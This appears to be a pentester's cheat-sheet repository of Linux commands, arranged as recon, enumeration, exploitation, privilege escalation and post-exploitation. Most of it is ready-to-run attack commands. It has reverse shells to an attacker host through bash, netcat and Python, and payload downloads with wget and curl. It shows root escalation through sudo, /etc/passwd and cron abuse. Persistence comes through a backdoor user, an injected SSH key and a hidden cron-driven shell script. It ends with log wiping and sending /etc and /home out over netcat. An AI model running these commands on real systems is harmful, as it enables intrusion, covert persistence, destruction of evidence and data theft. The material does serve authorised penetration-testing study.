linux-pentester-notes

Linux-for-a-Pentester/
├── 00-General-Commands/      # Basic Linux survival commands
├── 01-Recon/                 # Reconnaissance techniques
├── 02-Enumeration/           # Service and user enumeration
├── 03-Exploitation/          # Initial access techniques
├── 04-Privilege-Escalation/  # Privilege escalation methods
├── 05-Post-Exploitation/     # Persistence and cleanup
└── Cheatsheets/              # Quick reference one-liners

# System information
uname -a                    # Kernel version and architecture
cat /etc/os-release         # Distribution information
hostname                    # Current hostname
uptime                      # System uptime and load
 
# File operations
find / -name "*.conf" 2>/dev/null          # Find configuration files
grep -r "password" /home 2>/dev/null       # Recursive search
locate suid                                 # Locate files quickly
which python python3                       # Find binary locations
 
# Process management
ps aux                      # All running processes
ps -ef --forest            # Process tree view
top                        # Real-time process monitor
netstat -tulpn             # Listening ports (legacy)
ss -tulpn                  # Listening ports (modern)

# Network information
ip a                       # IP addresses and interfaces
ip route                   # Routing table
arp -a                     # ARP cache
cat /etc/resolv.conf      # DNS configuration
 
# User enumeration
whoami                     # Current user
id                         # User ID and groups
w                          # Logged in users
last                       # Login history
cat /etc/passwd           # User accounts
cat /etc/group            # Group information
 
# File system reconnaissance
df -h                      # Disk usage
mount                      # Mounted filesystems
cat /etc/fstab            # Filesystem table
lsblk                      # Block devices
 
# Network scanning (if tools available)
ping -c 3 $TARGET_IP
nmap -sn 192.168.1.0/24   # Host discovery
nmap -p- $TARGET_IP       # Full port scan

# Service enumeration
systemctl list-units --type=service     # Active services
ps aux | grep root                      # Root processes
crontab -l                              # User cron jobs
cat /etc/crontab                        # System cron jobs
ls -la /etc/cron.*                      # Cron directories
 
# SUID/SGID files (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null  # SUID files
find / -perm -2000 -type f 2>/dev/null  # SGID files
find / -perm -u=s -type f 2>/dev/null   # Alternative SUID search
 
# Writable files and directories
find / -writable -type d 2>/dev/null    # Writable directories
find / -writable -type f 2>/dev/null    # Writable files
find /etc -writable 2>/dev/null         # Writable config files
 
# Capabilities (often overlooked)
getcap -r / 2>/dev/null                 # Files with capabilities
 
# Environment and configuration
env                                      # Environment variables
cat /etc/environment                    # System-wide environment
history                                 # Command history
cat ~/.bash_history                     # User command history

# Reverse shells
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
nc -e /bin/bash $ATTACKER_IP 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 
# Shell stabilization
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Then Ctrl+Z, then:
stty raw -echo; fg
# Press Enter twice
 
# File upload techniques
# Using wget
wget http://$ATTACKER_IP:8000/payload.sh -O /tmp/payload.sh
 
# Using curl
curl http://$ATTACKER_IP:8000/payload.sh -o /tmp/payload.sh
 
# Using nc (if available)
nc $ATTACKER_IP 9999 > /tmp/payload.sh
# On attacker: nc -lvnp 9999 < payload.sh
 
# Using base64 (for text files/scripts)
echo "base64_encoded_payload" | base64 -d > /tmp/payload.sh

# Automated enumeration scripts
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# LinEnum
./LinEnum.sh -t
 
# Sudo abuse
sudo -l                                 # Check sudo permissions
# If (ALL) NOPASSWD: /usr/bin/find
sudo find /etc -exec /bin/bash \;
 
# If (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'
 
# Kernel exploits (use with caution)
uname -r                               # Check kernel version
searchsploit linux kernel 4.15        # Find exploits
 
# Writable /etc/passwd
# If /etc/passwd is writable
openssl passwd -1 -salt salt password123
echo 'newroot:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
 
# Cron job abuse
# If cron job runs as root and editable
echo 'bash -i >& /dev/tcp/$ATTACKER_IP/5555 0>&1' >> /path/to/cronjob.sh
 
# Path hijacking
# If sudo command has relative path
echo '/bin/bash' > /tmp/vulnerable_binary
chmod +x /tmp/vulnerable_binary
export PATH=/tmp:$PATH
sudo vulnerable_command
 
# Capabilities abuse
# If python has cap_setuid
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# User creation (persistence)
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd
usermod -aG sudo backdoor              # Add to sudo group
 
# SSH key persistence
mkdir -p /root/.ssh
echo "$ATTACKER_SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
 
# Backdoor scripts
cat > /usr/local/bin/.backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/6666 0>&1
EOF
chmod +x /usr/local/bin/.backdoor.sh
 
# Cron persistence
echo "*/5 * * * * /usr/local/bin/.backdoor.sh" | crontab -
 
# Log cleanup
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > ~/.bash_history
history -c
unset HISTFILE
 
# Data exfiltration
tar czf - /etc /home | nc $ATTACKER_IP 7777
# On attacker: nc -lvnp 7777 > exfil.tar.gz

# 1. Get initial shell (reverse shell)
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
 
# 2. Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
 
# 3. Background with Ctrl+Z, then:
stty raw -echo; fg
 
# 4. Set terminal type
export TERM=xterm-256color
 
# 5. Adjust rows/columns (optional)
stty rows 38 columns 116

# System info
uname -a
cat /etc/os-release
hostname
 
# Users and groups
cat /etc/passwd
cat /etc/group
id
sudo -l
 
# Network
ip a
ip route
ss -tulpn
cat /etc/hosts
 
# Services and processes
ps aux
systemctl list-units --type=service
cat /etc/crontab
crontab -l
 
# SUID binaries
find / -perm -4000 2>/dev/null
 
# Writable directories
find / -writable -type d 2>/dev/null | grep -v proc
 
# Capabilities
getcap -r / 2>/dev/null

# Check sudo rights
sudo -l
 
# Find SUID binaries (GTFOBins)
find / -perm -4000 -type f 2>/dev/null
 
# Check writable files in sensitive locations
find /etc /root /home -writable 2>/dev/null
 
# Check capabilities
getcap -r / 2>/dev/null
 
# Check kernel version for exploits
uname -r
 
# Check for passwords in files
grep -r -i "password" /home /var/www /opt 2>/dev/null

# If netstat not available, use ss
ss -tulpn
 
# If ifconfig not available, use ip
ip a
 
# If wget not available, use curl
curl -O http://example.com/file
 
# If python not available, try python3
which python python3 python2

find / -name "config" 2>/dev/null
grep -r "password" / 2>/dev/null

# Method 1: Python
python -c 'import pty; pty.spawn("/bin/bash")'
 
# Method 2: Script
script /dev/null -c bash
 
# Method 3: Expect
expect -c 'spawn /bin/bash; interact'
 
# Method 4: Perl
perl -e 'exec "/bin/bash";'

# On attacker:
base64 -w0 tool.sh > tool.b64
 
# Copy output, then on target:
echo "BASE64_STRING" | base64 -d > tool.sh
chmod +x tool.sh

# Quick reference during testing
cd ~/Linux-for-a-Pentester
grep -r "SUID" .
cat 04-Privilege-Escalation/suid-exploitation.md